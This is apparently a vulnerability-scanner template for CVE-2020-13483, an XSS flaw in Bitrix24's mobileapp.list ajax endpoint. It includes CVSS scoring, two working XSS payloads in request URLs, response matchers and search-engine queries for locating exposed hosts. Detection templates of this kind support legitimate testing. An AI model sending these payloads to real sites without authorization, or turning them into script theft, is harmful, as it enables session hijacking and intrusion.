CVSS2
Attack Vector
NETWORK
Attack Complexity
MEDIUM
Authentication
NONE
Confidentiality Impact
NONE
Integrity Impact
PARTIAL
Availability Impact
NONE
AV:N/AC:M/Au:N/C:N/I:P/A:N
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
REQUIRED
Scope
CHANGED
Confidentiality Impact
LOW
Integrity Impact
LOW
Availability Impact
NONE
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
EPSS
Percentile
45.0%
The Web Application Firewall in Bitrix24 up to and including 20.0.0 allows XSS via the items[ITEMS][ID] parameter to the components/bitrix/mobileapp.list/ajax.php/ URI.
id: CVE-2020-13483
info:
name: Bitrix24 <=20.0.0 - Cross-Site Scripting
author: pikpikcu,3th1c_yuk1
severity: medium
description: The Web Application Firewall in Bitrix24 up to and including 20.0.0 allows XSS via the items[ITEMS][ID] parameter to the components/bitrix/mobileapp.list/ajax.php/ URI.
impact: |
Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to session hijacking, defacement, or theft of sensitive information.
remediation: |
Upgrade to a patched version of Bitrix24 (version >20.0.0) to mitigate this vulnerability.
reference:
- https://gist.github.com/mariuszpoplwski/ca6258cf00c723184ebd2228ba81f558
- https://twitter.com/brutelogic/status/1483073170827628547
- https://nvd.nist.gov/vuln/detail/CVE-2020-13483
- https://github.com/afinepl/research
- https://github.com/ARPSyndicate/cvemon
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2020-13483
cwe-id: CWE-79
epss-score: 0.00113
epss-percentile: 0.44743
cpe: cpe:2.3:a:bitrix24:bitrix24:*:*:*:*:*:*:*:*
metadata:
max-request: 2
vendor: bitrix24
product: bitrix24
shodan-query: http.html:"/bitrix/"
fofa-query: body="/bitrix/"
tags: cve2020,cve,xss,bitrix,bitrix24
http:
- method: GET
path:
- '{{BaseURL}}/bitrix/components/bitrix/mobileapp.list/ajax.php/?=&AJAX_CALL=Y&items%5BITEMS%5D%5BBOTTOM%5D%5BLEFT%5D=&items%5BITEMS%5D%5BTOGGLABLE%5D=test123&=&items%5BITEMS%5D%5BID%5D=<a+href="/*">*/%29%7D%29;function+__MobileAppList()%7Balert(1)%7D//>'
- '{{BaseURL}}/bitrix/components/bitrix/mobileapp.list/ajax.php/?=&AJAX_CALL=Y&items%5BITEMS%5D%5BBOTTOM%5D%5BLEFT%5D=&items%5BITEMS%5D%5BTOGGLABLE%5D=test123&=&items%5BITEMS%5D%5BID%5D=%3Cimg+src=%22//%0d%0a)%3B//%22%22%3E%3Cdiv%3Ex%0d%0a%7D)%3Bvar+BX+=+window.BX%3Bwindow.BX+=+function(node,+bCache)%7B%7D%3BBX.ready+=+function(handler)%7B%7D%3Bfunction+__MobileAppList(test)%7Balert(document.domain)%3B%7D%3B//%3C/div%3E'
stop-at-first-match: true
matchers-condition: and
matchers:
- type: word
part: body
words:
- '<a href="/*">*/)});function __MobileAppList(){alert(1)}//'
- "function(handler){};function __MobileAppList(test){alert(document.domain);};//</div>"
condition: or
- type: word
part: header
words:
- text/html
- type: status
status:
- 200
# digest: 4a0a00473045022029343ebc38d2dfc9915247a5347f0cb9d35678dfee04d9ffc97299f18e678b660221008aef7a72fe4381a4c785e769b503bd48816987aae9d68f12fe3c47f9855ab647:922c64590222798bb761d5b6d8e72950
CVSS2
Attack Vector
NETWORK
Attack Complexity
MEDIUM
Authentication
NONE
Confidentiality Impact
NONE
Integrity Impact
PARTIAL
Availability Impact
NONE
AV:N/AC:M/Au:N/C:N/I:P/A:N
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
REQUIRED
Scope
CHANGED
Confidentiality Impact
LOW
Integrity Impact
LOW
Availability Impact
NONE
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
EPSS
Percentile
45.0%